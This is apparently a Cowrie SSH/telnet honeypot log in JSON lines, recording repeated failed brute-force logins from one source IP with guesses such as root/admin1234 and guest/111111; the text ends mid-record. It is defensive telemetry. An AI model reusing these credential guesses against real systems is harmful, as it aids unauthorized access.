{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:39.418637Z","src_ip":"45.156.87.253","session":"e4a8d5ad818b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:39.662971Z","src_ip":"45.156.87.253","session":"e4a8d5ad818b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:40.746643Z","src_ip":"45.156.87.253","session":"e4a8d5ad818b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50832,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1906f911a23","protocol":"ssh","message":"New connection: 45.156.87.253:50832 (10.17.0.5:22) [session: c1906f911a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:42.745593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:42.751714Z","src_ip":"45.156.87.253","session":"c1906f911a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:42.832562Z","src_ip":"45.156.87.253","session":"c1906f911a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":57808,"dst_ip":"10.17.0.5","dst_port":23,"session":"4767f837a8c8","protocol":"telnet","message":"New connection: 72.167.226.244:57808 (10.17.0.5:23) [session: 4767f837a8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:42.860689Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"root","message":"login attempt [claude/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:43.077860Z","src_ip":"45.156.87.253","session":"c1906f911a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:44.161190Z","src_ip":"45.156.87.253","session":"c1906f911a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50842,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb3779303d85","protocol":"ssh","message":"New connection: 45.156.87.253:50842 (10.17.0.5:22) [session: eb3779303d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:46.063987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:46.066752Z","src_ip":"45.156.87.253","session":"eb3779303d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:46.148048Z","src_ip":"45.156.87.253","session":"eb3779303d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:46.392645Z","src_ip":"45.156.87.253","session":"eb3779303d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:47.511586Z","src_ip":"45.156.87.253","session":"eb3779303d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45186,"dst_ip":"10.17.0.5","dst_port":22,"session":"33c7f0392e0d","protocol":"ssh","message":"New connection: 45.156.87.253:45186 (10.17.0.5:22) [session: 33c7f0392e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:49.373083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:49.375420Z","src_ip":"45.156.87.253","session":"33c7f0392e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:49.485567Z","src_ip":"45.156.87.253","session":"33c7f0392e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:49.829127Z","src_ip":"45.156.87.253","session":"33c7f0392e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:50.912087Z","src_ip":"45.156.87.253","session":"33c7f0392e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45192,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b40d2428931","protocol":"ssh","message":"New connection: 45.156.87.253:45192 (10.17.0.5:22) [session: 9b40d2428931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:52.821899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:52.824298Z","src_ip":"45.156.87.253","session":"9b40d2428931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:52.906146Z","src_ip":"45.156.87.253","session":"9b40d2428931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:53.150142Z","src_ip":"45.156.87.253","session":"9b40d2428931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:54.233248Z","src_ip":"45.156.87.253","session":"9b40d2428931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45206,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e260eec1a19","protocol":"ssh","message":"New connection: 45.156.87.253:45206 (10.17.0.5:22) [session: 8e260eec1a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:56.089244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:56.091663Z","src_ip":"45.156.87.253","session":"8e260eec1a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:56.171935Z","src_ip":"45.156.87.253","session":"8e260eec1a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:56.414627Z","src_ip":"45.156.87.253","session":"8e260eec1a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:57.498106Z","src_ip":"45.156.87.253","session":"8e260eec1a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":58368,"dst_ip":"10.17.0.5","dst_port":23,"session":"beaac972e634","protocol":"telnet","message":"New connection: 72.167.226.244:58368 (10.17.0.5:23) [session: beaac972e634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:59.269881Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34286,"dst_ip":"10.17.0.5","dst_port":22,"session":"a66e641c0819","protocol":"ssh","message":"New connection: 45.156.87.253:34286 (10.17.0.5:22) [session: a66e641c0819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:59.544459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:59.548428Z","src_ip":"45.156.87.253","session":"a66e641c0819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:59.631202Z","src_ip":"45.156.87.253","session":"a66e641c0819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:59.872548Z","src_ip":"45.156.87.253","session":"a66e641c0819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:00.956218Z","src_ip":"45.156.87.253","session":"a66e641c0819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34294,"dst_ip":"10.17.0.5","dst_port":22,"session":"c80d965bb1d4","protocol":"ssh","message":"New connection: 45.156.87.253:34294 (10.17.0.5:22) [session: c80d965bb1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:02.794812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:02.799039Z","src_ip":"45.156.87.253","session":"c80d965bb1d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:02.881313Z","src_ip":"45.156.87.253","session":"c80d965bb1d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"123","message":"login attempt [jellyfin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:03.125407Z","src_ip":"45.156.87.253","session":"c80d965bb1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:04.208570Z","src_ip":"45.156.87.253","session":"c80d965bb1d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34304,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8762e428da8","protocol":"ssh","message":"New connection: 45.156.87.253:34304 (10.17.0.5:22) [session: a8762e428da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:06.080775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:06.086139Z","src_ip":"45.156.87.253","session":"a8762e428da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha